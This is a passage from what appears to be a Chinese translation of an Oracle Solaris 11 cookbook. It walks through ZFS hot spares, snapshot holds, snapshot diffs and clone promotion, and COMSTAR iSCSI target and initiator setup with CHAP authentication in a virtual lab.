   mir_pool4     DEGRADED     0     0     0
     mirror-0    DEGRADED     0     0     0
       spare-0   DEGRADED     0     0     0
         c8t3d0  UNAVAIL      0     0     0
         c8t5d0  ONLINE       0     0     0
       c8t4d0    ONLINE       0     0     0
   spares
     c8t5d0      INUSE   
     c8t6d0      AVAIL   

errors: No known data errors

完美!被移除的磁盘显示为不可用(UNAVAIL),而 c8t5d0 备用磁盘已取而代之(INUSE)。池显示为 DEGRADED,通知管理员主磁盘出现问题。

最后,返回配置—关闭虚拟机,将移除的磁盘重新插入同一 SCSI 插槽 3,并重新启动虚拟机。完成所有步骤后,运行以下命令:

root@solaris11-1:~# zpool status mir_pool4
  pool: mir_pool4
 state: ONLINE
  scan: resilvered 27K in 0h0m with 0 errors on Sat Dec 14 16:49:29 2013
config:

   NAME          STATE     READ WRITE CKSUM
   mir_pool4     ONLINE       0     0     0
     mirror-0    ONLINE       0     0     0
       spare-0   ONLINE       0     0     0
         c8t3d0  ONLINE       0     0     0
         c8t5d0  ONLINE       0     0     0
       c8t4d0    ONLINE       0     0     0
   spares
     c8t5d0      INUSE   
     c8t6d0      AVAIL   

errors: No known data errors

根据输出,当 c8t3d0 磁盘重新上线时,c8d5d0 备用磁盘仍然显示其状态为 INUSE。为了在 Oracle Solaris 更新之前通知备用磁盘 c8t3d0 已经重新上线,执行以下命令:

root@solaris11-1:~# zpool online mir_pool4 c8t3d0
root@solaris11-1:~# zpool status mir_pool4
  pool: mir_pool4
 state: ONLINE
  scan: resilvered 27K in 0h0m with 0 errors on Sat Dec 14 16:49:29 2013
config:

   NAME        STATE     READ WRITE CKSUM
   mir_pool4   ONLINE       0     0     0
     mirror-0  ONLINE       0     0     0
       c8t3d0  ONLINE       0     0     0
       c8t4d0  ONLINE       0     0     0
   spares
     c8t5d0    AVAIL   
     c8t6d0    AVAIL   

errors: No known data errors

ZFS 真是太棒了。最初,c8t3d0 磁盘已经重新上线,但 c8t5d0 备用磁盘仍处于使用中(INUSE)。之后,我们运行了 zpool online mir_pool4 c8t3d0 命令来确认 c8t3d0 的在线状态,备用磁盘(c8t5d0)变为可用并开始作为备用磁盘工作。

最后,通过执行以下命令移除备用磁盘:

root@solaris11-1:~# zpool remove mir_pool4 c8t5d0
root@solaris11-1:~# zpool status mir_pool4
  pool: mir_pool4
 state: ONLINE
  scan: resilvered 27K in 0h0m with 0 errors on Sat Dec 14 16:49:29 2013
config:

   NAME        STATE     READ WRITE CKSUM
   mir_pool4   ONLINE       0     0     0
     mirror-0  ONLINE       0     0     0
       c8t3d0  ONLINE       0     0     0
       c8t4d0  ONLINE       0     0     0
   spares
     c8t6d0    AVAIL   

配方概述

在本节中,您看到了如何配置备用磁盘,并进行了实验以解释其确切的工作原理。

处理 ZFS 快照和克隆

ZFS 快照是一个复杂的主题,可以通过使用挂起和释放操作来扩展其功能。此外,其他任务,如重命名快照、提升克隆和执行差异快照,在日常管理中也至关重要。所有这些内容将在本食谱中涵盖。

准备工作

本食谱可以通过一个虚拟机(VirtualBox 或 VMware)来执行,要求有 4 GB 的内存、运行中的 Oracle Solaris 11 应用程序,至少八个每个 4 GB 的磁盘。

如何操作…

从我们在前面的食谱中学到的内容来看,让我们创建一个池和一个文件系统,并通过执行以下命令将任何数据填充到该文件系统中(读者可以将任何数据复制到该文件系统),同时创建两个快照:

root@solaris11-1:~# zpool create simple_pool_1 c8t3d0
root@solaris11-1:~# zfs create simple_pool_1/zfs1
root@solaris11-1:~# cp -r /root/mhvtl-* /root/john* /simple_pool_1/zfs1 
root@solaris11-1:~# zpool list simple_pool_1
NAME            SIZE  ALLOC   FREE  CAP  DEDUP  HEALTH  ALTROOT
simple_pool_1  3.97G  63.1M  3.91G   1%  1.00x  ONLINE  -

root@solaris11-1:~# zfs snapshot simple_pool_1/zfs1@today
root@solaris11-1:~# zfs snapshot simple_pool_1/zfs1@today_2
root@solaris11-1:~# zpool set listsnapshots=on simple_pool_1
root@solaris11-1:~# zfs list -r simple_pool_1
NAME                         USED  AVAIL  REFER  MOUNTPOINT
simple_pool_1               63.2M  3.85G    32K  /simple_pool_1
simple_pool_1/zfs1          63.1M  3.85G  63.1M  /simple_pool_1/zfs1
simple_pool_1/zfs1@today        0      -  63.1M  -
simple_pool_1/zfs1@today_2      0      -  63.1M  -

删除快照很简单,正如我们在本章前面看到的那样,如果有必要,可以通过执行以下命令来完成:

root@solaris11-1:~# zfs destroy simple_pool_1/zfs1@today_2

与删除快照的操作类似,重命名快照是通过运行以下命令完成的:

root@solaris11-1:~# zfs rename simple_pool_1/zfs1@today simple_pool_1/zfs1@today_2

两个操作(重命名和销毁)是处理快照时常见的操作。然而,出现的一个大问题是,是否可以防止删除一个快照。这时,一个名为hold的新快照操作可以帮助我们。当一个快照处于hold状态时,它无法被删除。这种行为可以通过运行以下命令来配置:

root@solaris11-1:~# zfs list -r simple_pool_1
NAME                         USED  AVAIL  REFER  MOUNTPOINT
simple_pool_1               63.1M  3.85G    32K  /simple_pool_1
simple_pool_1/zfs1          63.1M  3.85G  63.1M  /simple_pool_1/zfs1
simple_pool_1/zfs1@today_2      0      -  63.1M  -
root@solaris11-1:~# zfs hold keep simple_pool_1/zfs1@today_2

要列出挂起的快照,请执行以下命令:

root@solaris11-1:~# zfs holds simple_pool_1/zfs1@today_2
NAME                        TAG   TIMESTAMP                 
simple_pool_1/zfs1@today_2  keep  Sat Dec 14 21:51:26 2013  
root@solaris11-1:~# zfs destroy simple_pool_1/zfs1@today_2
cannot destroy 'simple_pool_1/zfs1@today_2': snapshot is busy
root@solaris11-1:~#

通过zfs hold keep命令,快照被挂起,之后我们尝试删除它,但由于挂起状态未能成功删除。如果simple_pool/zfs1文件系统有其他后代,我们可以通过执行以下命令挂起它们所有:

root@solaris11-1:~# zfs hold –r keep simple_pool_1/zfs1@today_2

需要强调一个重要的细节——只有在释放后,快照才能被销毁,并且有一个名为userrefs的属性,它告诉我们快照是否处于挂起状态。使用这些信息,释放和销毁操作可以通过运行以下命令依次执行:

root@solaris11-1:~# zfs get userrefs simple_pool_1/zfs1@today_2
NAME                        PROPERTY  VALUE  SOURCE
simple_pool_1/zfs1@today_2  userrefs  1   
root@solaris11-1:~# zfs release keep simple_pool_1/zfs1@today_2
root@solaris11-1:~# zfs get userrefs simple_pool_1/zfs1@today_2
NAME                        PROPERTY  VALUE  SOURCE
simple_pool_1/zfs1@today_2  userrefs  0      -
root@solaris11-1:~# zfs destroy simple_pool_1/zfs1@today_2
root@solaris11-1:~# zfs list -r simple_pool_1             
NAME                 USED  AVAIL  REFER  MOUNTPOINT
simple_pool_1       63.2M  3.85G    32K  /simple_pool_1
simple_pool_1/zfs1  63.1M  3.85G  63.1M  /simple_pool_1/zfs1

更进一步,Oracle Solaris 11 允许我们在比较两个快照时,确定文件系统中发生了哪些变化。要理解它是如何工作的,第一步是创建一个名为snap_1的新快照。之后,我们需要更改simple_pool/zfs1文件系统的内容,创建一个新的快照(snap_2),并确定文件系统中发生了哪些变化。整个过程可以通过执行以下命令完成:

root@solaris11-1:~# zfs list -r simple_pool_1
NAME                 USED  AVAIL  REFER  MOUNTPOINT
simple_pool_1       63.2M  3.85G    32K  /simple_pool_1
simple_pool_1/zfs1  63.1M  3.85G  63.1M  /simple_pool_1/zfs1
root@solaris11-1:~# zfs snapshot simple_pool_1/zfs1@snap1
root@solaris11-1:~# cp /etc/hosts /simple_pool_1/zfs1/
root@solaris11-1:~# zfs snapshot simple_pool_1/zfs1@snap2
root@solaris11-1:~# zfs list -r simple_pool_1
NAME                       USED  AVAIL  REFER  MOUNTPOINT
simple_pool_1             63.4M  3.84G    32K  /simple_pool_1
simple_pool_1/zfs1        63.1M  3.84G  63.1M  /simple_pool_1/zfs1
simple_pool_1/zfs1@snap1    32K      -  63.1M  -
simple_pool_1/zfs1@snap2      0      -  63.1M  -

以下命令是这个过程中的最重要的一条,因为它用于执行差异快照:

root@solaris11-1:~# zfs diff simple_pool_1/zfs1@snap1 simple_pool_1/zfs1@snap2
M  /simple_pool_1/zfs1/
+  /simple_pool_1/zfs1/hosts
root@solaris11-1:~#

前面的命令显示,在/simple_pool_1/zfs1中的新文件是hosts文件,并且这是根据我们之前的设置所期望的。+标识符表示文件或目录被添加,-标识符表示文件或目录被删除,M标识符表示文件或目录被修改,R标识符表示文件或目录被重命名。

现在我们已经接近本节的结尾,我们应该记得,在本章的早些时候,我们回顾了如何从快照中创建克隆,但并未展示所有的操作。关于克隆的事实是,它可以被提升为一个正常的文件系统,并最终删除原始的文件系统(如果需要),因为克隆不再是任何后代。让我们通过运行以下命令来验证前面的句子:

root@solaris11-1:~# zfs snapshot simple_pool_1/zfs1@snap3
root@solaris11-1:~# zfs clone simple_pool_1/zfs1@snap3 simple_pool_1/zfs1_clone1
root@solaris11-1:~# zfs list -r simple_pool_1
NAME                        USED  AVAIL  REFER  MOUNTPOINT
simple_pool_1              63.3M  3.84G    33K  /simple_pool_1
simple_pool_1/zfs1         63.1M  3.84G  63.1M  /simple_pool_1/zfs1
simple_pool_1/zfs1@snap1     32K      -  63.1M  -
simple_pool_1/zfs1@snap2       0      -  63.1M  -
simple_pool_1/zfs1@snap3       0      -  63.1M  -
simple_pool_1/zfs1_clone1    25K  3.84G  63.1M  /simple_pool_1/zfs1_clone1

到目前为止,一切正常。下一条命令向我们展示,simple_pool_1/zfs1_clone确实是一个克隆:

root@solaris11-1:~# zfs get origin simple_pool_1/zfs1_clone1
NAME                       PROPERTY  VALUE                     SOURCE
simple_pool_1/zfs1_clone1  origin    simple_pool_1/zfs1@snap3  -

下一条命令将现有的克隆提升为独立的文件系统:

root@solaris11-1:~# zfs promote simple_pool_1/zfs1_clone1
root@solaris11-1:~# zfs list -r simple_pool_1
NAME                              USED  AVAIL  REFER  MOUNTPOINT
simple_pool_1                    63.3M  3.84G    33K  /simple_pool_1
simple_pool_1/zfs1                   0  3.84G  63.1M  /simple_pool_1/zfs1
simple_pool_1/zfs1_clone1        63.1M  3.84G  63.1M  /simple_pool_1/zfs1_clone1
simple_pool_1/zfs1_clone1@snap1    32K      -  63.1M  -
simple_pool_1/zfs1_clone1@snap2      0      -  63.1M  -
simple_pool_1/zfs1_clone1@snap3      0      -  63.1M  -
root@solaris11-1:~# zfs get origin simple_pool_1/zfs1_clone1
NAME                       PROPERTY  VALUE  SOURCE
simple_pool_1/zfs1_clone1  origin    -      -
root@solaris11-1:~#

我们能够证明simple_pool_1/zfs1_clone1是一个新的文件系统,因为该克隆没有占用任何空间(大小为25K),而最近提升为文件系统的克隆现在占用了 63.1M。此外,origin属性不再指向快照对象。

配方概述

本节已经解释了如何创建、销毁、保持和释放快照,以及如何将克隆提升为真正的文件系统。此外,您还看到如何确定两个快照之间的差异。

玩转 COMSTAR

常见协议 SCSI 目标COMSTAR)是 Oracle Solaris 11 中引入的一个框架;它使得 Oracle Solaris 11 能够通过网络访问运行任何操作系统(如 Oracle Solaris、Oracle Enterprise Linux 等)的另一台系统上的磁盘。这种访问通过网络使用诸如iSCSI以太网光纤通道FCoE)或光纤通道FC)等协议进行。

使用 COMSTAR 的一个大优点是,Oracle Solaris 11 能够在不使用 HBA 卡(非常昂贵)的情况下,访问另一台机器上的磁盘,避免了 FC 通道访问。也有一些缺点,比如转储设备不支持 COMSTAR 提供的 iSCSI 磁盘,网络基础设施可能会变得过载。

准备工作

本节需要两台运行 Oracle Solaris 11 的虚拟机,每台虚拟机有 4 GB 内存和八个 4 GB 的磁盘。此外,这两台虚拟机必须在同一网络中,并且能够互相访问。

如何操作…

配置 iSCSI 时,一个好的方法是有一个初步计划,列出将通过 iSCSI 访问的磁盘,并确定哪个系统将是发起者(solaris11-2)和目标(solaris11-1)。因此,让我们通过执行以下命令来列出现有的磁盘:

root@solaris11-1:~# format
AVAILABLE DISK SELECTIONS:
       0\. c8t0d0 <VBOX-HARDDISK-1.0-80.00GB>
          /pci@0,0/pci1000,8000@14/sd@0,0
       1\. c8t1d0 <VBOX-HARDDISK-1.0-16.00GB>
          /pci@0,0/pci1000,8000@14/sd@1,0
       2\. c8t2d0 <VBOX-HARDDISK-1.0-4.00GB>
          /pci@0,0/pci1000,8000@14/sd@2,0
       3\. c8t3d0 <VBOX-HARDDISK-1.0-4.00GB>
          /pci@0,0/pci1000,8000@14/sd@3,0
       4\. c8t4d0 <VBOX-HARDDISK-1.0-4.00GB>
          /pci@0,0/pci1000,8000@14/sd@4,0
       5\. c8t5d0 <VBOX-HARDDISK-1.0-4.00GB>
          /pci@0,0/pci1000,8000@14/sd@5,0
       6\. c8t6d0 <VBOX-HARDDISK-1.0-4.00GB>
          /pci@0,0/pci1000,8000@14/sd@6,0
       7\. c8t8d0 <VBOX-HARDDISK-1.0-4.00GB>
          /pci@0,0/pci1000,8000@14/sd@8,0
       8\. c8t9d0 <VBOX-HARDDISK-1.0-4.00GB>
          /pci@0,0/pci1000,8000@14/sd@9,0
       9\. c8t10d0 <VBOX-HARDDISK-1.0-4.00GB>
          /pci@0,0/pci1000,8000@14/sd@a,0
      10\. c8t11d0 <VBOX-HARDDISK-1.0-4.00GB>
          /pci@0,0/pci1000,8000@14/sd@b,0
      11\. c8t12d0 <VBOX-HARDDISK-1.0 cyl 2045 alt 2 hd 128 sec 32>
          /pci@0,0/pci1000,8000@14/sd@c,0
   root@solaris11-1:~# zpool status | grep d0
    c8t2d0  ONLINE       0     0     0
    c8t1d0  ONLINE       0     0     0
    c8t0d0  ONLINE       0     0     0

根据前两个命令,c8t3d0c8t12d0磁盘可以使用。然而,不幸的是,COMSTAR 软件在 Oracle Solaris 11 中默认未安装;我们必须安装它才能在solaris11-1系统上使用 iSCSI 协议。因此,通过使用在第一章中配置的 IPS 框架,IPS 和启动环境,我们可以通过运行以下命令确认系统上是否安装了适当的包:

root@solaris11-1:~# pkg search storage-server
INDEX       ACTION VALUE                                PACKAGE
incorporate depend pkg:/storage-server@0.1,5.11-0.133   pkg:/consolidation/osnet/osnet-incorporation@0.5.11-0.175.1.0.0.24.2
pkg.fmri    set    solaris/storage-server               pkg:/storage-server@0.1-0.133
pkg.fmri    set    solaris/storage/storage-server       pkg:/storage/storage-server@0.1-0.173.0.0.0.1.0
pkg.fmri    set    solaris/group/feature/storage-server pkg:/group/feature/storage-server@0.5.11-0.175.1.0.0.24.2
root@solaris11-1:~# pkg install storage-server
root@solaris11-1:~# pkg list storage-server
NAME (PUBLISHER)                       VERSION                    IFO
group/feature/storage-server           0.5.11-0.175.1.0.0.24.2    i—
root@solaris11-1:~# pkg info storage-server

iSCSI 目标功能是通过一个名为storage-server的软件包安装的,但只有当stmf服务也启用时,功能才会被启用。因此,让我们通过执行以下命令启用该服务:

root@solaris11-1:~# svcs -a | grep stmf
disabled        09:11:13 svc:/system/stmf:default
root@solaris11-1:~# svcadm enable svc:/system/stmf:default
root@solaris11-1:~# svcs -a | grep stmf
online          09:14:19 svc:/system/stmf:default

此时,系统已经准备好配置为 iSCSI 目标。在继续之前,让我们学习一个关于 ZFS 的新概念。

ZFS 有一个很好的功能,叫做 ZFS 卷,它代表并作为块设备工作。ZFS 卷在/dev/zvol/dsk/rdsk/pool/[volume_name]中作为设备标识。ZFS 卷的另一个优点是,当它们创建后,卷的大小会在池中保留。

有必要从 ZFS 卷中创建一个 ZFS 卷和一个逻辑单元LUN),以便在 Oracle Solaris 11 中使用 iSCSI。最终,经验较少的管理员可能不知道 LUN 概念来源于存储领域(如 Oracle、EMC 和日立)。一个存储设备向操作系统呈现一个卷(配置为 raid0、raid1、raid5 等),这个卷被称为 LUN,但从操作系统的角度来看,它只是一个普通的磁盘。

因此,让我们创建一个 ZFS 卷。第一步是创建一个池:

root@solaris11-1:~# zpool create mypool_iscsi c8t5d0

现在,是时候创建一个卷了(在本例中,使用 2 GB 的大小),通过运行以下命令:

root@solaris11-1:~# zfs create -V 2Gb mypool_iscsi/myvolume
root@solaris11-1:~# zfs list mypool_iscsi/myvolume
NAME                    USED  AVAIL  REFER  MOUNTPOINT
mypool_iscsi/myvolume  2.06G  3.91G    16K  -

接下来,作为通过网络使用 iSCSI 呈现卷的要求,必须从mypool_iscsi/myvolume卷创建 LUN:

root@solaris11-1:~# stmfadm create-lu /dev/zvol/rdsk/mypool_iscsi/myvolume
Logical unit created: 600144F0991C8E00000052ADD63B0001

root@solaris11-1:~# stmfadm list-lu
LU Name: 600144F0991C8E00000052ADD63B0001

我们的主要关注点是使最近创建的 LUN 可以被任何需要访问它的主机查看。因此,让我们通过运行以下命令来配置允许并允许所有主机访问:

root@solaris11-1:~# stmfadm add-view 600144F0991C8E00000052ADD63B0001
root@solaris11-1:~# stmfadm list-view -l 600144F0991C8E00000052ADD63B0001
View Entry: 0
    Host group   : All
    Target Group : All
    LUN          : Auto

当前,iSCSI 目标服务可以禁用;现在,必须检查并在必要时启用它:

root@solaris11-1:~# svcs -a | grep target
disabled       16:48:34 svc:/system/fcoe_target:default
disabled       16:48:34 svc:/system/ibsrp/target:default
disabled       14:30:51 svc:/network/iscsi/target:default
root@solaris11-1:~# svcadm enable svc:/network/iscsi/target:default
root@solaris11-1:~# svcs svc:/network/iscsi/target:default
STATE          STIME    FMRI
online         14:31:47 svc:/network/iscsi/target:default

执行以下命令以意识到此服务的依赖关系非常重要:

root@solaris11-1:~# svcs -l svc:/network/iscsi/target:default
fmri         svc:/network/iscsi/target:default
name         iscsi target
enabled      true
state        online
next_state   none
state_time   Sun Dec 15 14:31:47 2013
logfile      /var/svc/log/network-iscsi-target:default.log
restarter    svc:/system/svc/restarter:default
manifest     /lib/svc/manifest/network/iscsi/iscsi-target.xml
dependency   require_any/error svc:/milestone/network (online)
dependency   require_all/none svc:/system/stmf:default (online)

现在 iSCSI 目标服务已启用,让我们创建一个新的 iSCSI 目标。请记住,为了通过网络访问可用的磁盘并使用 iSCSI,我们必须创建一个目标(类似于一个访问端口或 iSCSI 服务器)来启用这种访问。然后,为了在solaris11-1机器上创建目标,请执行以下命令:

root@solaris11-1:~# itadm create-target
Target iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d successfully created
root@solaris11-1:~# itadm list-target -v
TARGET NAME                                                  STATE    SESSIONS 
iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d  online   0        
  alias:                -
  auth:                 none (defaults)
  targetchapuser:       -
  targetchapsecret:     unset
  tpg-tags:             default

iSCSI 目标具有一些重要的默认属性,其中之一确定是否需要身份验证方案。以下输出确认身份验证(auth)未启用:

root@solaris11-1:~# itadm list-defaults
iSCSI Target Default Properties:
alias:           <none>
auth:            <none>
radiusserver:    <none>
radiussecret:    unset
isns:            disabled
isnsserver:      <none>

在这里,我们处理的是两个系统——solaris11-1192.168.1.106),它已配置为 iSCSI 目标,以及solaris11-2192.168.1.109),它将作为发起器使用。顺便提一下,我们应该记住,iSCSI 发起器是一种 iSCSI 客户端,必须用来访问其他系统提供的 iSCSI 磁盘。

配置发起器的第一步是通过执行以下命令验证 iSCSI 发起器服务及其依赖项是否已启用:

root@solaris11-1:~# ssh solaris11-2
Password: 
Last login: Sun Dec 15 14:13:08 2013
Oracle Corporation      SunOS 5.11      11.1    September 2012
root@solaris11-2:~# svcs -a | grep initiator
online         12:10:22 svc:/system/fcoe_initiator:default
online         12:10:25 svc:/network/iscsi/initiator:default
root@solaris11-2:~# svcs -l svc:/network/iscsi/initiator:default
fmri         svc:/network/iscsi/initiator:default
name         iSCSI initiator daemon
enabled      true
state        online
next_state   none
state_time   Sun Dec 15 12:10:25 2013
logfile      /var/svc/log/network-iscsi-initiator:default.log
restarter    svc:/system/svc/restarter:default
contract_id  89 
manifest     /lib/svc/manifest/network/iscsi/iscsi-initiator.xml
dependency   require_any/error svc:/milestone/network (online)
dependency   require_all/none svc:/network/service (online)
dependency   require_any/error svc:/network/loopback (online)

配置的发起器具有一些非常有趣的属性:

root@solaris11-2:~# iscsiadm list initiator-node 
Initiator node name: iqn.1986-03.com.sun:01:e00000000000.5250ac8e
Initiator node alias: solaris11
        Login Parameters (Default/Configured):
                Header Digest: NONE/-
                Data Digest: NONE/-
                Max Connections: 65535/-
        Authentication Type: NONE
        RADIUS Server: NONE
        RADIUS Access: disabled
        Tunable Parameters (Default/Configured):
                Session Login Response Time: 60/-
                Maximum Connection Retry Time: 180/-
                Login Retry Time Interval: 60/-
        Configured Sessions: 1

根据前面的输出,Authentication Type被配置为NONE;这是目标的相同配置。现在,这样的配置是适当的,因为两个系统必须使用相同的认证方案。

在 iSCSI 配置程序之前,有三种方法可以在另一个系统上找到 iSCSI 磁盘:静态、发送目标和 iSNS。然而,虽然它们在不同场景中各有其特定用途,但对这些方法的详细解释超出了本文的范围。因此,我们将选择发送目标方法,这是一种自动机制,用于在内部网络中查找 iSCSI 磁盘。

要验证已配置的方法并启用发送目标方法,请执行以下命令:

root@solaris11-2:~# iscsiadm list discovery
Discovery:
        Static: disabled
        Send Targets: disabled
        iSNS: disabled
root@solaris11-2:~# iscsiadm modify discovery --sendtargets enable 
root@solaris11-2:~# iscsiadm list discovery
Discovery:
        Static: disabled
        Send Targets: enabled
        iSNS: disabled

solaris11-1系统已配置为 iSCSI 目标,并且我们在此系统中创建了一个 LUN,以便通过网络访问。在solaris11-2系统(iSCSI 发起器)中,我们必须注册 iSCSI 目标系统(solaris11-1),以便发现可访问的 LUN。要完成这些任务,请执行以下命令:

root@solaris11-2:~# iscsiadm add discovery-address 192.168.1.106
root@solaris11-2:~# iscsiadm list discovery-address
Discovery Address: 192.168.1.106:3260
root@solaris11-2:~# iscsiadm list target
Target: iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d
  Alias: -
  TPGT: 1
  ISID: 4000002a0000
  Connections: 1

上述命令显示了在solaris11-1系统上配置的目标(输出的第一行)。

要确认成功添加的目标,可以通过以下命令查看来自 iSCSI 目标(solaris11-1)的可用 iSCSI LUN:

root@solaris11-2:~# devfsadm
root@solaris11-2:~# format
Searching for disks...done

AVAILABLE DISK SELECTIONS:
       0\. c0t600144F0991C8E00000052ADD63B0001d0 <SUN-COMSTAR-1.0 cyl 1022 alt 2 hd 128 sec 32>
          /scsi_vhci/disk@g600144f0991c8e00000052add63b0001
       1\. c8t0d0 <VBOX-HARDDISK-1.0-80.00GB>
          /pci@0,0/pci1000,8000@14/sd@0,0

(truncated output)

solaris11-1系统中找到了 iSCSI 卷(作为 iSCSI 发起器呈现为磁盘),并且由于它是本地设备,所以可以正常使用。要进行测试,请执行以下命令:

root@solaris11-2:~# zpool create new_iscsi c0t600144F0991C8E00000052ADD63B0001d0
root@solaris11-2:~# zfs create new_iscsi/fs_iscsi
root@solaris11-2:~# zfs list -r new_iscsi
NAME                USED  AVAIL  REFER  MOUNTPOINT
new_iscsi           124K  1.95G    32K  /new_iscsi
new_iscsi/fs_iscsi   31K  1.95G    31K  /new_iscsi/fs_iscsi
root@solaris11-2:~# zpool status new_iscsi
  pool: new_iscsi
 state: ONLINE
  scan: none requested
config:

  NAME                                     STATE     READ WRITE CKSUM
  new_iscsi                                ONLINE       0     0     0
    c0t600144F0991C8E00000052ADD63B0001d0  ONLINE       0     0     0

通常,这种配置(没有认证)是大多数公司会看到的配置,尽管不推荐这样做。

一些企业要求所有数据通信都必须经过认证,因此需要同时在 iSCSI 目标和发起器上配置认证方案,在 iSCSI 目标(solaris11-1)上设置密码,并强制在 iSCSI 发起器(solaris11-2)上设置相同的凭据。

在管理身份验证时,可以使用 CHAP 方法(单向或双向)或甚至 RADIUS 配置 iSCSI 身份验证方案。作为示例,我们将使用单向 CHAP,其中客户端(solaris 11-2,iSCSI 发起端)执行登录操作以访问服务器(solaris11-1,iSCSI 目标),从而访问 iSCSI 目标设备(LUNs 或最终的 ZFS 卷)。然而,如果使用双向身份验证,目标和发起端都需要提供一个 CHAP 密码来相互验证。

solaris11-1系统上,通过执行以下命令列出当前目标的配置:

root@solaris11-1:~# itadm list-target
TARGET NAME                                                  STATE    SESSIONS 
iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d  online   1    
root@solaris11-1:~# itadm list-target iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d –v
TARGET NAME                                                  STATE    SESSIONS 
iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d  online   1        
  alias:                -
  auth:                 none (defaults)
  targetchapuser:       -
  targetchapsecret:     unset
  tpg-tags:             default

根据输出,目前身份验证尚未配置为使用 CHAP 身份验证。因此,可以通过执行以下命令来完成:

root@solaris11-1:~# itadm modify-target -a chap iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d
Target iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d successfully modified

这很好,但没有启用的密码来进行身份验证。因此,我们必须设置一个密码(packt1234567)来完成目标配置。顺便提一下,密码较长是因为 CHAP 密码必须至少包含 12 个字符:

root@solaris11-1:~# itadm modify-target -s iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d
Enter CHAP secret: packt1234567
Re-enter secret: packt1234567
Target iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d successfully modified

solaris11-2系统上,必须设置 CHAP 身份验证,以使发起端能够登录到目标;现在,执行以下命令:

root@solaris11-2:~# iscsiadm list initiator-node
Initiator node name: iqn.1986-03.com.sun:01:e00000000000.5250ac8e
Initiator node alias: solaris11
        Login Parameters (Default/Configured):
                Header Digest: NONE/-
                Data Digest: NONE/-
                Max Connections: 65535/-
        Authentication Type: NONE
        RADIUS Server: NONE
        RADIUS Access: disabled
        Tunable Parameters (Default/Configured):
                Session Login Response Time: 60/-
                Maximum Connection Retry Time: 180/-
                Login Retry Time Interval: 60/-
        Configured Sessions: 1

solaris11-2系统(发起端),我们必须确认它继续使用 iSCSI 动态发现(sendtargets):

root@solaris11-2:~# iscsiadm list discovery
Discovery:
  Static: disabled
  Send Targets: enabled
  iSNS: disabled

目标(packt1234567)的相同密码必须在solaris11-2系统(发起端)上设置。此外,还必须通过运行以下命令配置 CHAP 身份验证:

root@solaris11-2:~# iscsiadm modify initiator-node --CHAP-secret
Enter secret: packt1234567
Re-enter secret: packt1234567
root@solaris11-2:~# iscsiadm modify initiator-node --authentication CHAP

通过执行以下命令,可以验证从发起端节点和可用目标的身份验证配置:

root@solaris11-2:~# iscsiadm list initiator-node
Initiator node name: iqn.1986-03.com.sun:01:e00000000000.5250ac8e
Initiator node alias: solaris11
        Login Parameters (Default/Configured):
                Header Digest: NONE/-
                Data Digest: NONE/-
                Max Connections: 65535/-
        Authentication Type: CHAP
                CHAP Name: iqn.1986-03.com.sun:01:e00000000000.5250ac8e
        RADIUS Server: NONE
        RADIUS Access: disabled
        Tunable Parameters (Default/Configured):
                Session Login Response Time: 60/-
                Maximum Connection Retry Time: 180/-
                Login Retry Time Interval: 60/-
        Configured Sessions: 1

root@solaris11-2:~# iscsiadm list discovery-address
Discovery Address: 192.168.1.106:3260
root@solaris11-2:~# iscsiadm list target 
Target: iqn.1986-03.com.sun:02:51d113f3-39a0-cead-e602-ea9aafdaad3d
        Alias: -
        TPGT: 1
        ISID: 4000002a0000
        Connections: 1

最后,我们必须使用devfsadm命令更新设备树配置,以确认目标对发起端(solaris11-2)的访问是否可用。如果一切顺利,iSCSI 磁盘将通过format命令可见:

root@solaris11-2:~# devfsadm
root@solaris11-2:~# format
Searching for disks...done

AVAILABLE DISK SELECTIONS:
       0\. c0t600144F0991C8E00000052ADD63B0001d0 <SUN-COMSTAR-1.0-2.00GB>
          /scsi_vhci/disk@g600144f0991c8e00000052add63b0001
       1\. c8t0d0 <VBOX-HARDDISK-1.0-80.00GB>
          /pci@0,0/pci1000,8000@14/sd@0,0
(truncated output)

作为一个简单的示例,以下命令使用在前面的步骤中发现并配置的 iSCSI 磁盘创建一个池和文件系统:

root@solaris11-2:~# zpool create new_iscsi_chap c0t600144F0991C8E00000052ADD63B0001d0
root@solaris11-2:~# zfs create new_iscsi_chap/zfs1
root@solaris11-2:~# zfs list -r new_iscsi_chap 
NAME                 USED  AVAIL  REFER  MOUNTPOINT
new_iscsi_chap       124K  1.95G    32K  /new_iscsi_chap
new_iscsi_chap/zfs1   31K  1.95G    31K  /new_iscsi_chap/zfs1
root@solaris11-2:~# zpool list new_iscsi_chap
NAME             SIZE  ALLOC   FREE  CAP  DEDUP  HEALTH  ALTROOT
new_iscsi_chap  1.98G   124K  1.98G   0%  1.00x  ONLINE  -
root@solaris11-2:~# zpool status new_iscsi_chap
  pool: new_iscsi_chap
 state: ONLINE
  scan: none requested
config:

  NAME                                   STATE     READ WRITE CKSUM
  new_iscsi_chap                         ONLINE       0     0     0
  c0t600144F0991C8E00000052ADD63B0001d0  ONLINE       0     0     0

太好了!带有 CHAP 身份验证的 iSCSI 配置运行得非常顺利。现在,为了巩固所有学到的知识,以下命令会撤销所有 iSCSI 配置,首先在发起端(solaris11-2),然后在目标(solaris11-1)上,具体如下:

root@solaris11-2:~# zpool destroy new_iscsi_chap
root@solaris11-2:~# iscsiadm list initiator-node
Initiator node name: iqn.1986-03.com.sun:01:e00000000000.5250ac8e
Initiator node alias: solaris11
        Login Parameters (Default/Configured):
                Header Digest: NONE/-
                Data Digest: NONE/-
                Max Connections: 65535/-
        Authentication Type: CHAP
                CHAP Name: iqn.1986-03.com.sun:01:e00000000000.5250ac8e
        RADIUS Server: NONE
        RADIUS Access: disabled
        Tunable Parameters (Default/Configured):
                Session Login Response Time: 60/-
                Maximum Connection Retry Time: 180/-
                Login Retry Time Interval: 60/-
        Configured Sessions: 1

root@solaris11-2:~# iscsiadm remove discovery-address 192.168.1.106
root@solaris11-2:~# iscsiadm modify initiator-node --authentication none
